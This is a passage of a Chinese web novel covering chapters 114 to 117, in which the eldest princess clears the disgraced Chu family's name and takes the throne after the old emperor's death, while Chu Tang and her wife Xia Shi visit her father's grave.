长公主在朝堂上挥斥方遒的时候,老皇帝还躺在寝殿内卧病不起。 他已经躺了一个多月了,可看那苍白的脸色,比起一个月前也并没有好到哪里去。这倒也不是太医不尽心,而是老皇帝的病情反反复复,从受伤的第二天起,便时不时发场高热。他年纪又大了,哪里经得起这样反复的折腾,人眼看着就消瘦萎靡了下去。 梁忠自殿外匆匆而来,老皇帝听到他刻意放重的脚步声,睁开眼看了过去:“怎,怎样?” 老皇帝身体虚弱,就连这几个字说起来都费劲,但一双眼睛却还是明亮的。梁忠也知道他问的是什么,当下便将今日朝堂上的事情一一说了。 对于长公主监国这事,当然不是老皇帝下的令,让一个和他感情并不亲密的女儿掌权,对他也没有丝毫好处。可长公主自己将这事做成了,老皇帝气归气,糟糕的身体状况却也让他无可奈何。回过头来自我安慰两句,总比被臣子篡了权好,便也默认接受了。 不过哪怕是病得起不来床,老皇帝也不肯放松对朝堂的掌控。他自己没办法去宣政殿上朝听政,就让梁忠去听,然后再回来告诉他朝堂上究竟发生了些什么。 梁忠自然听话,长公主也十分配合,于是便有了如今这一幕。 今日朝堂上的政务倒也没有什么特殊的,老皇帝听了几十年的内容,梁忠也陪着听了几十年。现在几句话概括起来,老皇帝听了也是心中有数。 不过说完了这些,梁忠又一幅支支吾吾的样子,像是还有话没有说完。 老皇帝便瞪他一眼,完全没心思和这老奴绕关子,只费劲的又挤出一个字来:“说。” 梁忠便又将长公主翻旧案的事说了,没错过哪些罪臣牵扯到六皇子身上的事,末了说道:“殿下雷厉风行,还要将这些罪官送去江南行刑。若查出事情真与六皇子牵连,恐怕,恐怕……” 话没说完,但老皇帝已然明白——老五是怎么死的,他这做父皇的心里其实有数。安平本来就和老六有仇,若她的想法是人死债消,就根本不会提出再查。现在她既提了出来,又展露出这般狠辣手段,怕是老六死都死不安宁! “开棺戮尸”这四个大字,一下子就出现在了老皇帝的脑海中。他呼吸一下子变得急促起来,脸色也透出股不正常的潮红来。 这倒不是他心疼儿子气急了,而是觉得丢不起这人! 梁忠一见老皇帝这模样,忙上前替他顺气:“陛下,陛下息怒,您这身子可禁不住气啊!” 这话一出,老皇帝果然迅速平复了心态,但他一手抓住了梁忠的手臂,力道大得梁忠这个健康人都觉得疼。旋即吩咐道:“去,去叫,安平来,来见朕。” 梁忠闻言一顿,还是应了声好,结果一去两个时辰也没能将人叫来。 下午太医又来给老皇帝诊脉换药,全程虽然没说什么不好的话,但老皇帝和太医打了几十年交道,哪里不知对方这表现意味着什么。 他心里隐隐有些发沉,接连发生的状况已经不能让他如一月前那般乐观了。于是在太医替他换药的时候,他终于费力低头,第一次看向了自己的伤口——红肿一片,伤口处隐隐还有脓水流出,这哪里是愈合恢复的样子?养了一个月的伤,分明是更加严重了! 难怪啊难怪,难怪安平这么大胆,敢自行监国,还敢拒绝召见。 老皇帝放在床榻上的手猛然握成了拳头,却一句话都没多说,任由太医替他换完药告退离开。 直到寝殿里没了“外人”,老皇帝这才扭头从侍立一旁的梁忠问道:“八,八皇子,哪日,哪日过来,侍疾?” 长公主虽然毫不客气的掌权的,但这些天对待老皇帝的态度依然没怎么变。朝臣进宫的机会不多,但后宫想要来老皇帝病榻前侍疾的,她一个都不会拦着。 也是因此,后宫中还算平静,至少那些后妃皇子都没闹到长公主跟前,只在老皇帝病榻前争宠。 侍疾这事,后宫也是排了班的。只是现下老皇帝突然提起了八皇子,梁忠这个在皇帝身边侍奉多年的老人,立刻就意会到了对方的意图。他也没犹豫,立刻回道:“回陛下,八皇子今日该来侍疾,许是有事耽搁了,老奴这就让人去请。” 老皇帝没什么力气的闭上了眼睛,闻言点点头。 梁忠出去了,这事做得也很顺利,不到半个时辰,八皇子便被生母吴妃带了过来。 吴妃是后来进宫的新人,今年不过二十出头,八皇子年纪也小,才五六岁刚到进学的年纪。两人忽然被召见时只觉又惊又喜,一路跟随梁忠往宣室殿而来,也免不了打探几句。 梁忠没说什么,却看着八皇子叹气又叹气,眼神里都透着股同情,直将母子二人吓得心惊胆战。因此等母子俩终于到了宣室殿,再看那巍峨殿宇,哪里还有什么多余的心思? 老皇帝见人来了,强撑着虚弱的身体坐起来,看向八皇子问道:“小八,想不想当太子?” 八皇子听完的第一反应不是惊喜,而是抱着母妃吓哭了。 114☆、第114章 ◎来日正好守个宫门◎ 皇宫里没有真正天真的稚子,哪怕这个小孩儿只有五六岁也一样。 太子之位当然很吸引人,可八皇子听到老皇帝开口的那一刻,想到的不是储君的权势富贵,而是接连惨死的七个哥哥——说句不好听的话,这太子之位就跟被诅咒了似得,谁沾谁死! 八皇子抱着母妃“嗷嗷”的哭:“不要,不要,小八不要当太子。”喊完不顾老皇帝骤然黑下去的脸色,又道:“让长姐去吧,让长姐当太子。她很厉害的,她还有很多人保护,她不怕……”最后一个“死”字没来得及出口,便被吴妃骤然伸手捂了回去。 饶是如此,老皇帝也被幼子的话刺激得不轻。他呼吸骤然加速,胸膛剧烈起伏着,扯得伤口阵阵剧痛传来,生生疼得他眼前一黑,险些晕倒。 还是梁忠见势不好,忙上前又是顺气又是劝解,好不容易才让老皇帝喘过这口气。 “混,混账,哪有公主登基的先例?!”老皇帝赤红着眼瞪向小儿子,与其说是受不了女儿承继大统,更多的还是不愿承认自己已经被逼至了墙角。 八皇子从前算不上受宠,但因为年纪的原因,老皇帝待他倒也和善。这还是他第一次见到父皇这般凶狠的模样,吓得又往母亲怀里缩了缩,可最后他竟还开口反驳了一句:“前,前朝就有公主称帝,本朝,本朝让长姐开个头就好了啊。” 小儿的话音犹带几分稚气,但老皇帝的目光却骤然犀利了几分——八皇子才刚开蒙,还没到学史的年纪呢,又是如何知道前朝女帝的事? 是有人故意诱导,还是安平特意让自己听到的这番话? 一瞬间,老皇帝都顾不上气恼幼子懦弱了,满心都被阴谋论包围了。 不过不管怎么说,这哭唧唧的小子是指望不上了。老皇帝虽然气恼,但他儿子已经死得够多了,到底还是没忍心太过苛责。他摆摆手将人遣退,又看向梁忠:“小九……” 梁忠一下子苦了脸,不得不出声提醒:“陛下,九殿下才满三岁。” 所谓主少国疑。老皇帝如今的身体状况并不算好,非要争口气推举小儿上位,实在不是个明智的决定。毕竟就算真让三岁小儿当了皇帝,他难道就能理政吗?话都说不明白的年纪,也只能靠着旁人帮忙扶持,外戚难道又能比长公主更加可靠吗? 说句不好听的,就如今这局势,老皇帝哪怕真将皇位给了幼子,又扶持起外戚,恐怕也不是长公主的对手。到时候长公主踹了弟弟登上皇位,不也是白折腾一场? 梁忠心里实在不明白老皇帝怎么想的,可后者显然是个自私到了骨子里的人,饶是听了梁忠的话也还是固执道:“三岁,三岁又如何?朕,朕让他当太子,他就是太子!” 这话说得硬气极了,但梁忠只想把人扶出寝殿看看,看看外面的人会不会听他的。 可想归想,这事梁忠也做不出来,便只好敷衍应是:“是是是,这当然是陛下说了算。”说完顿了顿,又故作姿态的看了看殿外:“陛下,今日天色已迟,不如明日再请九殿下过来吧。他年纪小,精力不济,这会儿恐怕已经睡了。” 老皇帝闻言沉默片刻,倒也没有坚持。毕竟他自己的身体自己清楚,小九是不是精力不济睡着了不知道,但他这破败的身体却是有些撑不住了。 “那,那就明日。”老皇帝躺下,说完这句话,眼睛也缓缓闭上了。 梁忠替他将床帐放了下来,又点燃了凝神助眠的熏香,这才放轻了步子缓缓退出寝宫。 出了宣室殿的正殿,他脚步便是一转,很快来到偏殿之中——这里原是老皇帝偶尔处理政务的书房,不过如今却是有了另一个主人。 气度沉稳的女子坐于御案之后,手起笔落间决定着一城一地甚至一国的大事。她听到梁忠进门头也没抬,只问了一句:“父皇休息了?” 梁忠低眉垂首,将之前发生的种种尽数告知。 长公主唇角似乎翘了下,是个略显讥诮的弧度,但却没多说什么,只道了句:“知道了。”说完手中朱笔正好写完最后一个字,便将这份奏疏挪开至一旁晾干,等再翻开一本新的,她才又开口道:“父皇既然想见小九,那就让他见好了。” 梁忠闻言欲言又止,可面对威势日重的长公主,到底没敢多说什么。他复又低下头去,应了声“是”,见长公主没有其他吩咐了,这才再次告退离去。 ******************************************************** 皇宫之中发生的种种,楚棠和夏时自然是不知道的。 两人今日在外奔波了一整日,运气比上回好了不少,看了两三处宅子都比较不错。 回到公主府,夏时一边牵着楚棠往客院走,一边说道:“清水巷那处宅子还不错。那边离薛祭酒家挺近的,也算有个旧识,说不定能互相照拂。而且咱们家就两个人,就算将来需要雇人,两进的院子也完全够咱们住了。还有还有,那家有现成的水井,打水也不用出门……” 夏时显然对刚看的那处宅子十分满意,正兴致勃勃和楚棠说着话,就见平时神龙见首不见尾的萧晏书迎面走来。她话音当即一顿,看向了对方。 楚棠也看了过去,她的态度就比夏时好上不少,主动招呼道:“萧先生可是有事寻我们?” 萧晏书老远就听到夏时的话了,看着两人并肩走来,说的人眉飞色舞,听的人满眼温柔,心中也不免生出了两分羡慕来。她不可避免的想到了身在宫中的长公主,这些日子两人虽然不曾断了消息,却当真许久未见了。而且长公主想要皇位,她的那些心思就只能藏在心中…… 想着想着,萧晏书眉宇间便闪过了一丝黯然,直到听见楚棠的招呼声,她才重新打起精神来。走到二人跟前,她也没卖关子,开门见山道:“今日朝堂,长公主重审了江南旧案。” 此言一出,夏时骤然感觉手上一紧,却是楚棠牢牢抓住了她。 认真说起来,江南旧案其实与她无关,毕竟当年赈灾的事楚尚书其实并没有参与。不过这件事却是个导火索,去岁楚家因此受难,如今想要翻案也同样要以此为引。 楚棠暗自咬了咬牙,腮边柔和的线条绷紧几分,旋即又松开:“想来江南百姓已沉冤昭雪了吧?” 萧晏书点头,便将朝堂上发生的事,以及长公主的处置尽数告诉了楚棠,末了说道:“楚尚书原是为了掩盖江南旧案,被构陷下狱,殿下既然下令彻查,想必楚家翻案一事也就是这几日的功夫了。”她说着顿了顿,又问:“你可想要什么补偿?” 说是补偿,其实也是报酬。这几个月夏时跟在长公主身边做了不少事暂且不提,前两月留在京中的楚棠也没闲着。她拜访了不少楚尚书的旧友和同僚,虽说不是人人都像薛祭酒那样立场鲜明的要帮忙翻案,但不论是出于交情还是利益,这些人也都没有将楚棠拒之门外。 也是因此,当老皇帝伤重不能临朝,长公主自己站出来要监国时,朝中反对之声并不强烈。如丞相尚书之类的高官,大多更是持默认的态度,也算间接帮长公主掌控了朝堂。 当然,这些都是不好明说的,所以萧晏书也不会说什么报酬。 楚棠心知肚明,但她想了想,竟是没什么可求的:“不必了,我只想沉冤昭雪,让父亲清清白白的走而已。” 至于报仇什么的,楚棠早就不在乎了,毕竟罪魁祸首可是早就死在夏时手中了——她和夏时是妻妻,夏时亲手报的仇和她自己动手没什么差别。既然如此,人都已经死了,再折腾也就没什么必要了。 萧晏书闻言没觉得意外,毕竟这事的内情旁人不知道,她却是清楚的。而她想问的也不是这个,便说道:“那当初楚家抄没的家产呢?还有你那些族人,如今在流放地也过得不算好。” 楚家不算是大家族,但也不至于只有父女二人,事实上楚棠还有不少叔伯堂亲,当初也都被楚尚书连累流放了。不过楚棠这么久一直没提这些人,也是因为当初流放路上这些人迁怒于她,甚至楚棠重病也有这方面的原因。 如此种种,双方早就没什么感情了,就算有也只剩下怨怼。 不过说到底,这些人也是被她父亲连累的,于是楚棠说道:“他们也是被我家连累,等我父亲冤屈洗脱,还请殿下允他们回京吧。” 至于更多的,楚棠也没提,大概等那些人回来之后,她也不打算再和这些亲戚往来了。 萧晏书点点头,这些都是应该的,接着又问了楚棠几句,见她实在没什么所求,便也不多说什么了。总之这人早就入了长公主的眼,来日殿下登基,总不会缺了她的大好前程……哦不对,应该是她们小两口的大好前程。夏时虽然没什么上进心,但做事还算可靠,身上又没什么利益牵扯,来日正好守个宫门。 双方简单的交谈过后,萧晏书很快离开了,她好像总有忙不完的事。 等人走后夏时牵着楚棠的手忽然摇了摇,扭头问道:“阿棠*,咱们今日看的那宅子,是不是白看了?”她听萧晏书话里话外那意思,楚家的东西长公主是打算全部归还的,自然包括老宅。 楚棠抿了下唇,缓缓摇头:“还是先看着吧。” 115☆、第115章 ◎老老实实跪在了楚棠旁边◎ 长公主的动作还是很快的。就在萧晏书告知楚棠之后没几天,有关于六皇子的罪证就出现在了朝堂上,连带着楚尚书的冤屈,以及五皇子的死,也全都浮出了水面。 这是一桩大案,但又没那么大,因为所有与案子相关的人都已经死了。 楚尚书沉冤狱中,五皇子在猎场被害,六皇子也早在数月前就被仇人收取了性命……无论是害人的还是被害的,现在都很难再被处置了,如今再将这桩案子拿出来说,似乎迟了太多,也已经没有必要了。 许多人心中生出这样的念头,不过抬头看看上首的长公主,又觉得这案子被翻出来并不奇怪。毕竟五皇子可是长公主的同胞弟弟,她想要为其复仇也并不奇怪。不过话又说回来,如果当初五皇子没有身陨,也许此刻的长公主还藏在弟弟身后,朝局会是什么模样也很难说了。 朝臣们心思纷杂,不过长公主处置起来倒是半点没有犹豫,当场就替楚尚书翻了案。 至于罪魁祸首六皇子,她也并没有因为对方身死就放过:“六皇子以权谋私,丧心病狂。致使数万百姓惨死,朝中重臣蒙冤,兼之戕害兄弟。如此不忠不孝不悌之人,不配为我皇家子嗣。今日本宫便替父皇将之逐出皇室,贬为平民,其一应皇子待遇也一并收回。” 这些话说出来像是轻飘飘的没什么分量,毕竟人都已经死了。不过在场这些朝臣中就没有傻子,一听这话立刻就明白已故的六皇子会遭遇什么。 他被贬为平民,自然没资格再享受皇子的丧葬待遇,刚修没几个月的墓恐怕要被挖开重埋了。另外六皇子唯一留下的子嗣也将失去王位继承,便是长公主不继续报复,他也只能庸庸碌碌做个寻常百姓。要是长公主再狠心一些,刚满周岁的小儿,未必还有长大的机会。 不过明白归明白,在场之人也并没有替六皇子求情的。不说成王败寇,就只看他做的那些事,确实也配得上长公主那句“丧心病狂”了。 旧案重翻,处置敲定,长公主又在朝中立了一回威。 …… 早朝散后,消息很快传回了公主府,萧晏书亲自走了一趟告知了楚棠。 彼时楚棠正在院子里看着夏时练武,听到这消息后,神情一片恍惚——她以为要替父亲翻案会很难的,此番回京甚至做好了鱼死网破的准备。可就像是当初她父亲突然获罪入狱一般,翻案的事交到长公主手中,也不过是轻而易举。 这一刻,楚棠再次感受到了权势的可怕。而比起她的父亲,她似乎又要幸运一些,一开始就站在了正确的一方,以至于能借势达成所愿。 夏时原本正在练拳,萧晏书来得悄无声息,她也没发现。直到一套拳打完,忽然发现萧晏书正站在她老婆身边,这还罢了,楚棠更是一副魂不守舍的模样。 她心里顿时一紧,赶忙收势跑了过去:“怎么了,阿棠,是出什么事了吗?” 楚棠原本有些呆愣,闻言才缓缓抬头看向了夏时,漂亮的眼眸轻轻一眨,忽的落下两滴泪来。 夏时见状吓了一跳,她很少看到楚棠哭的,当下手足无措起来。一边扯着袖子帮她擦眼泪,一边着急的问道:“怎么了,怎么了,到底发什么事了?有事和我说啊。” 她着急起来,只顾着眼前的楚棠,以至于忘了旁边还有另一个人可以问。 还是萧晏书看不下去,轻咳了一声,主动开口解释了一句:“放心,不是什么坏事,是今日殿下查明了证据,已在朝堂上替楚尚书翻案了。” 夏时闻言一愣,接着高兴起来,抱着楚棠就原地转了个圈:“好好好,真是太好了,终于翻案了。” 楚棠环住她的肩膀,看着夏时笑得比自己还开心的样子,也忍不住破涕为笑:“是我爹被翻案,沉冤得雪了,你怎么笑得比我还开心啊?” 夏时将人抱得紧紧的,高兴道:“你的事就是我的事,我替你高兴不行吗?”她说完终于舍得放开楚棠,又抬手用拇指擦去楚棠眼下的泪珠:“我可不爱看你伤心和哭泣了,但今天算是例外。等这次哭完,你心里压着的事放下了,咱们也能好好过日子了。” 楚棠微微仰头看着她,一眼就看到了夏时眼底的温柔。 ********************************************************** 时至深秋,一场秋雨过后,天气又凉了几分。 清晨天空依旧阴沉沉的,楚棠和夏时却是一大早就出了门。楚棠手里拿着两把油纸伞,夏时手里拎着个大篮子,两人刚走出公主府就瞧见外面停着辆马车。 这马车车厢看着简陋,拉车的马儿瞧着也并不神骏,与面前的公主府有些格格不入。 两人还没走到车前,就见车窗的帘子被人从里面掀开了,紧接着便露出了薛祭酒那张熟悉的面庞。他冲着二人招招手,说道:“上车吧,我带你们过去。” 楚棠闻言道了声谢,然后便踩着车夫放下的车凳上了马车。 夏时拎着篮子也跟了上去,一眼看去马车里确实有些逼仄,但只坐他们三人倒也不算拥挤。 等人都上了马车,车夫也不耽搁,收好车凳跳上车辕,便一挥马鞭驱使着马儿小跑起来。公主府门前这一段都是青石板铺的路,又没什么行人,马儿跑起来也十分平稳。直到马车驶入大街害怕冲撞了路人,速度便又不得不放缓了下来。 然而马车一路行驶,车厢内却始终没人说话,带着几分压抑的沉凝。 夏时被这气氛弄得有些不自在,偷偷握住了楚棠的手,想要开口打破安静,又不知该说些什么才好。她看了看楚棠的神色,又看了看另一边的薛祭酒,还是没敢贸然开口。 最后是薛祭酒开口打破了车内的沉静,只听他说道:“你父亲当初去得突然,楚家又全部获罪流放,没人替他收殓。后来我替他在城外选了处山明水秀的地方,想必他会喜欢的。”顿了顿又道:“他若能看到你如今模样,应该也能放下这最后的心事了。” 是的,她们今日出行是要去祭奠楚父,薛祭酒则是来替她们领路的。 说来楚棠她们回京也有几个月了,却还没去祭拜过楚尚书。但这也并非是她不孝,而是她想替父亲伸冤之后,再堂堂正正的去。 如今终于得偿所愿,楚棠自然是要去将这消息告诉楚父的。 念及此,楚棠扭头看了看夏时,后者对上她的目光后浅浅挤出个笑,却难得带着三分肉眼可见的紧张……没错,她还想带夏时去给父亲看看。虽然在遭逢大变之前,她根本没想过自己会嫁给一个不通文墨的小猎户,但今时今日她也不觉得带夏时去见父亲有什么不妥。 在最糟糕的时候遇到最好的人,在楚棠心中,这已经是她此生最大的幸运了。 马车上依旧很沉默,几人都没有说话的欲望,只听着车轮碾地的辚辚声。而车厢外传来的动静也已经换过几轮了,从公主府外的安静,到大街上人来人往的喧嚣,再到城门口的吵闹,最后马车驶出了城门,外面复归清净,只偶尔传来车夫驾马的声音。 临近京城的山野田地大多都是有主的,薛祭酒也并非家财万贯的富有,因此他替楚尚书选的埋骨地并不算近。马车出城之后也足足行驶了一个多时辰,这才缓缓停在了路边。 夏时坐车坐得腿都麻了,见到了地方赶忙跳下了车。她活动了一下腿脚,便赶忙回头去扶身后的楚棠,顺便又把那沉甸甸的大篮子给拎上了:“你慢些,小心地上打滑。” 昨夜下了雨,郊野的路上有些泥泞,其实并不适合出行。但她们选了今日扫墓也是没办法,毕竟两人都不知道楚尚书的墓在哪里,还需要薛祭酒带路,而后者也只有休沐日才有这个时间出行。 楚棠扶着她的手小心翼翼下了车,放下提着的裙角,仰头一看,便见眼前是一片高耸山峰。 薛祭酒最后下的车,他指着山顶的方向冲二人说道:“就在那上面了。别看这边景色寻常,但这山峰的另一面却是风光独好,想必楚兄是会喜欢的。” 楚棠闻言冲他一拜,再次道谢:“多谢叔父替我父费心。” 薛祭酒摆摆手,转头从马车里拿出两瓶酒,拎着便往山上走去。 楚棠和夏时赶紧跟上。这雨后的山路虽不好走,但连云雾山的陡峭山路楚棠都已经走过了,如今倒不觉得为难。她拎着裙角,也没要夏时帮忙,自己就跟在薛祭酒身后上了山。 三人约莫走了小半个时辰,袍脚都被雨水打湿了,这才终于来到了山顶。 薛祭酒说得没错,从山顶看这山的另一边,确实是一片山明水秀的好风光。视线再往旁落几分,一个稍显简陋的新墓正矗立在那山坡旁,看上去孤零零的有些可怜。 楚棠的脚步顿了顿,直到薛祭酒率先走了过去,这才迈着沉重的步伐跟了过去。 薛祭酒显然不是第一次来祭拜友人了,走过去熟练的扫开墓碑前的落叶,然后便将手中拎着的酒放了上去:“楚兄,我又来看你了。这回告诉你个好消息,侄女回来了,你的案子也终于沉冤昭雪了。” 楚棠缓缓走到墓前,心中蓦地涌出一阵迟来的悲痛,接着膝盖一弯跪了下去。 夏时见状也没犹豫,赶紧老老实实跪在了楚棠旁边。 【作者有话说】 夏时(乖乖跪好):虽然但是,老丈人就算看不上我,应该也没办法棒打鸳鸯了 116☆、第116章 ◎小猎户从来也没有什么大志向◎ 薛祭酒祭奠过有人,很快就下山去了,留下小两口独自待在山上。 时隔一年多,楚棠终于在父亲墓前好好的哭了一场。哭过之后她扫了墓,烧了纸,摆上祭品,最后把夏时拉到身边认认真真介绍给了父亲。 虽说面对的是已逝的老丈人,夏时也还是在对方墓前认认真真许下了诺言:“您是阿棠的父亲,那我也叫您爹吧。爹您放心,我虽然不是什么十分优秀的人,但我会对阿棠好的。她遇到危险我也会保护她,就像从前一样,您在天之灵大可放心。” 夏时不会说什么漂亮话,她也没有读多少书,可这诺言却是真心实意。楚棠也她并肩站着,相信就算父亲真的还在,也不会拒绝两人在一起的。 两人在山上耽搁了许久,下山时已经快正午了,天上又朦朦胧胧下起了小雨。 夏时撑起了伞,牵着楚棠往山下走。可这雨天泥路,下山远比上山时难行,哪怕楚棠过了好长一段山里生活,下山时脚下还是难免打滑,险些跌倒下去。 所幸夏时拉得快,但还是被吓了一跳,干脆赶上两步走到楚棠前面,熟练的半蹲下身:“来,这路不好走,一会儿雨下大了更麻烦,我背你下山。” 这也不是夏时第一次背楚棠下山了,因此后者也没多犹豫,很快便俯身趴在了夏时背上。 夏时将人背好颠了颠,忽的一笑:“我下山走得快,你可抱紧了。” 楚棠闻言立刻环住了夏时的脖颈,果然下一秒这人就不老实的直接跑了起来。不过这人到底是山中长大的,即便是雨天湿滑的泥路,她跑起来也是稳稳当当的。原本三个人爬了小半个时辰才到的山顶,她背着人一路跑下去才用了半刻钟而已。 下了山,便见那熟悉的马车还停在原处。车夫倒是穿上蓑衣戴上了斗笠,显然已经做好了雨下大,一会儿冒雨赶车回城的准备。 两人从山上一路疾跑下来,还吓了车夫一跳,旋即又高兴起来:“二位回来了?” 车厢里的薛祭酒听见动静,也掀开车帘看了一眼。见夏时背着楚棠下山,眉眼舒展了一些,又看两人衣角都沾着泥水,还是显出了几分狼狈来。 他招呼了一声:“快,上车来。咱们得赶紧回去了,免得一会儿雨下大了。” 夏时便背着楚棠一路来到了马车旁,等人踩着车凳上马车时,才发现这雨天上山着实狼狈。她看着楚棠踩出的脚印,有些不好意思的冲车夫笑笑,又塞过去一把铜板:“劳烦你了,这马车回去还得再清理清理。” 这马车不是薛祭酒家的,养马可是一笔不小的花销,所以用得着时他都是花钱租用。不过雨天出门,价格自然比平日更高,车夫也是早就做好了清理马车的准备的。现下又多收了一把钱,他自然十分高兴,连声说道:“没事没事,您快上车吧,我这就送你们回城。” 两人说话的功夫,隐隐约约好像听到一阵钟声传来。 距离远再加上雨天的缘故,夏时听得并不十分清楚,下意识往声音传来的京城方向看了一眼,嘀咕道:“怎么这时候敲钟?附近有什么寺庙吗?” 车夫耳力可没她好,一开始并没有听到动静,不过被夏时这一说,倒也仔细听了听。 这一听,他脸色微微变化,也不知想到了什么。只是夏时嘀咕一句后也没留意车夫的神色,转头就跟着上了马车,而马车里就更听不见什么钟声了。 薛祭酒和楚棠都没听到钟声,因此等夏时上了马车,他们也没有提起这事。 三人等了片刻,马车照常行驶,向着京城方向而去。 如是又行了约莫一刻钟,距离京城更近了些,马车里终于也能听见些隐约动静了。还是夏时最先听到钟声,不免奇道:“咦,这钟怎么还在敲?” 薛祭酒和楚棠闻言齐齐扭头看向了她:“什么钟声?!” 夏时被这两人的反应弄得一懵,但也老实答道:“就是钟声啊。附近有寺庙敲钟吧?不过也真是奇怪,这时候不早不晚的,敲什么钟?而且刚才咱们下山我就听见动静了,现在还在敲,这都有一刻钟了吧,也不知敲了多少下,他们也不嫌累。” 薛祭酒和楚棠听罢对视一眼,两人眼中都有些惊疑,凝神去听也终于听到了隐隐钟声。薛祭酒顾不得外面还下着小雨,连忙掀开车窗帘子,把耳朵凑了出去。 这下钟声更清晰了,一声接着一声,像是没有结束的时候。 直到这事,楚棠似乎才确定了什么,看着夏时回答了她之前的问话:“要敲三万下。” *************************************************** 皇帝驾崩,鸣钟三万下。 这是京城百姓都知道的规矩,隔上几年十几年或者几十年,总是要听上那么一回的。不过外地人就没这个敏锐了,比如夏时,听到钟响了半天也完全没有意识到发生了什么。 不过话又说回来了,两人一早出门时还好好的,也是没料到半天过去京中就已天翻地覆。 等一行人驾着马车回到京城,便发现京城那高耸的城门已经提前关闭了。若是此刻还在城中的话,她们就会发现,城中也已戒严。 夏时凑在车帘前向外看了看,只瞧见城门之上守卫森严,也不知什么时候才会开门。她缩回马车里,叹了口气:“真是不巧,这城门现在关了,咱们什么时候才能进城啊?” 薛祭酒和楚棠此时已经从老皇帝驾崩的消息中冷静了下来,两人都比夏时更清楚形势,见到城门紧闭也不觉意外。楚棠便说道:“如今京中局势尚算稳定,这城门应该关不了多久,明日大概就能重开了。”说罢看了看夏时,却忽的叹了口气。 夏时见状不明所以,不自在的摸摸脸颊:“怎么了,我有什么不对吗?” 薛祭酒这时也看了夏时一眼,眼中也有些可惜,顺便开口替她解了惑:“陛下驾崩,虽未提前定下储位,但好在成年皇子皆殁。长公主之前就已监国,将朝堂尽数掌握在手中,这时候登上帝位也算理所当然。不过未免意外,封闭城门,京城戒严也是必须的。我听说你之前一直跟在长公主身边护卫,若今日未曾出城,此时就该赶去宫中,继续护卫在长公主身侧了。” 众所周知,这种时候能被委以重任的必然就是心腹。再加上长公主是女子登位,将来必定还要发展属于自己的女官势力,如果今天夏时进了宫,来日大好前程就已然在望了。 可惜,她今天偏就不在,还被关在了城外赶不回去,简直是错过了大好机会。 夏时想不到这些,薛祭酒在官场上混得不怎么样,却是很清楚这些潜规则的。他干脆便将这些说给了夏时听,既是为这后辈错失良机而可惜,也是一种小心的试探——毕竟今天夏时是为了替楚父扫墓才错过的机会,万一夏时迁怒到楚棠身上呢? 人心难测,在大好前程面前,夫妻之情总是不值一提的。 薛祭酒这些年见多了各种卑劣人性,反应过来后免不了替楚棠担心,因此说完这番话后也盯紧了夏时,想看她此刻真实的反应。 夏时真实的反应就是没什么反应,她只微微一愣,说道:“长公主那边,应该也不缺我一个人吧?” 这当然是不缺的,就凭长公主能迅速掌控朝堂的手段,要说她手下没有可用之人简直就是笑话。错过机会的也只有夏时而已。不过小猎户从来也没有什么大志向,她既没想过位极人臣,对于这一次的错失便也不十分在意,只发愁今晚进不了城的话,该去哪里过夜? 夏时拉着楚棠嘀嘀咕咕:“这城门今天不开的话,咱们等在这里也没什么意义。外面还下着雨,咱们也不能一直待在马车里,要不然去长公主的温泉别院借住一晚怎么样?” 温泉别院对于两人来说也算是熟门熟路了,那边留守的人也都认识她们,所以夏时觉得过去借宿一晚应该问题不大。倒是薛祭酒听完这话简直一言难尽,就这丫头说要去住长公主别院的态度,也未免太熟稔了吧……就这关系,他似乎也不必太过担心对方的前程? 薛祭酒满心的腹诽,但有一点夏时说得也没错,他们确实也不能守在城门下。 当然,直接去长公主别院借宿这事还是相当微妙的,最后楚棠和薛祭酒都没同意。两人商量了两句,干脆就在城门附近找了客栈落脚——京城繁华,城外也有不少人家,她们落脚的客栈开窗就能看见城墙,实在算不得远。 三人便在客栈里住了一夜,三万下丧钟也没完没了的敲了一夜。 夏时被吵得一夜都没睡好,脑袋嗡嗡的,简直怀疑那些寺庙里的钟都要被敲碎了。直到第二天京城城门如猜测一般的解封,那钟声也还没停,据说至少要敲上三天。 不过好在除了丧钟一直敲不完之外,等第二天几人进入京城,便发现城中除了巡逻的士卒更多了之外,看上去一切如常。 薛祭酒和楚棠齐齐松了口气,不管朝堂之前看上去有多平和,他们猜测时又有多少信心,事情没到尘埃落定时,总归是不那么让人放心的。好在现下看来,一切都好。 117☆、第117章 ◎她家醋坛子好像翻了◎ 长公主的登基之路总的来说颇为顺利。 老皇帝死得有些突然,但他之前就伤重卧床许久了,权力已经被迫提前交接。虽然这个交接基本上是长公主自己动手取的,老皇帝也努力找茬反抗了,奈何他伤得太重,连寝宫都走不出来,大权旁落自然也是不可避免的。 长公主早就掌控了朝堂,因此对于老皇帝的突然驾崩也并未太多隐瞒。照例封锁宫门之后,她一早便使人去重臣和宗室近枝的几个王府传了消息。 等到这些人陆续进了宫,她才下令关闭城门,京城戒严。 当然,没有正式的储君名分,长公主哪怕已经监国,想要登基也并不是那么的名正言顺。 宗室和重臣对于新君的选择,在这时候分成了三派。一派自然是归属于长公主的,力推她上位。另一派则是不愿本朝出现女帝,因此主张推举八皇子登基,然后由长公主摄政监国。最后一派则是两不相帮,只冷眼旁观,等着结果。 好在就在众人争论不休的时候,除长公主之外的另一主角八皇子主动站了出来。不久前他就曾推拒太子之位,如今也依旧没有勇气和长姐争,反而借着这个机会推了长公主一把。 才到腰高的小孩儿站了出来,理直气壮的放言:“我等年幼,而长姐能力卓越,父皇早就有意将重坦托付于她。如今未能成事,不过是事发突然,没来得及罢了。” 此言一出,便再没有什么争论的必要了,毕竟被推举的当事人都没有当皇帝的心。 就这样,长公主虽然到最后都没能得到老皇帝的传位圣旨,却也顺利的通过了所有人的推举,正式登上了帝位。等楚棠和夏时第二日终于回到京城,皇宫中甚至已经走完了灵前继位的流程,只等着过些时日将登基大典也给办了,就是彻彻底底的名正言顺。 夏时和楚棠回到公主府,得知这些后恍恍惚惚,有些茫然的问楚棠:“这,登基当皇帝就这么简单吗?长公主说当就当了,她那些叔伯兄弟……” 楚棠出身京城又是官宦人家,对此比夏时知道得更多:“没有人能和长公主……不,应该是没有人能和陛下争。先帝的成年皇子都没了,剩下的皇子年纪都太小了,母家又不显赫,没有势力能和陛下争夺。至于宗室,呵,先帝可从来不是什么良善人。” 皇位争夺总是透着血腥气的,别看老皇帝儿子死得多,上一辈的夺嫡之争惨烈程度也没差到哪里去。而夺嫡已经争了个你死我活,等到新帝登基,自然也是要收权和报复的。 简而言之,宗室只有远枝活得还算自在,近枝剩下的小猫三两只也早被磨没了心气。 反正不管怎么说,长公主顺利登基了。等二十七天孝期过后,登基大典也没发生什么意外,顺利的走完了流程,成为了本朝第一个女帝。 …… 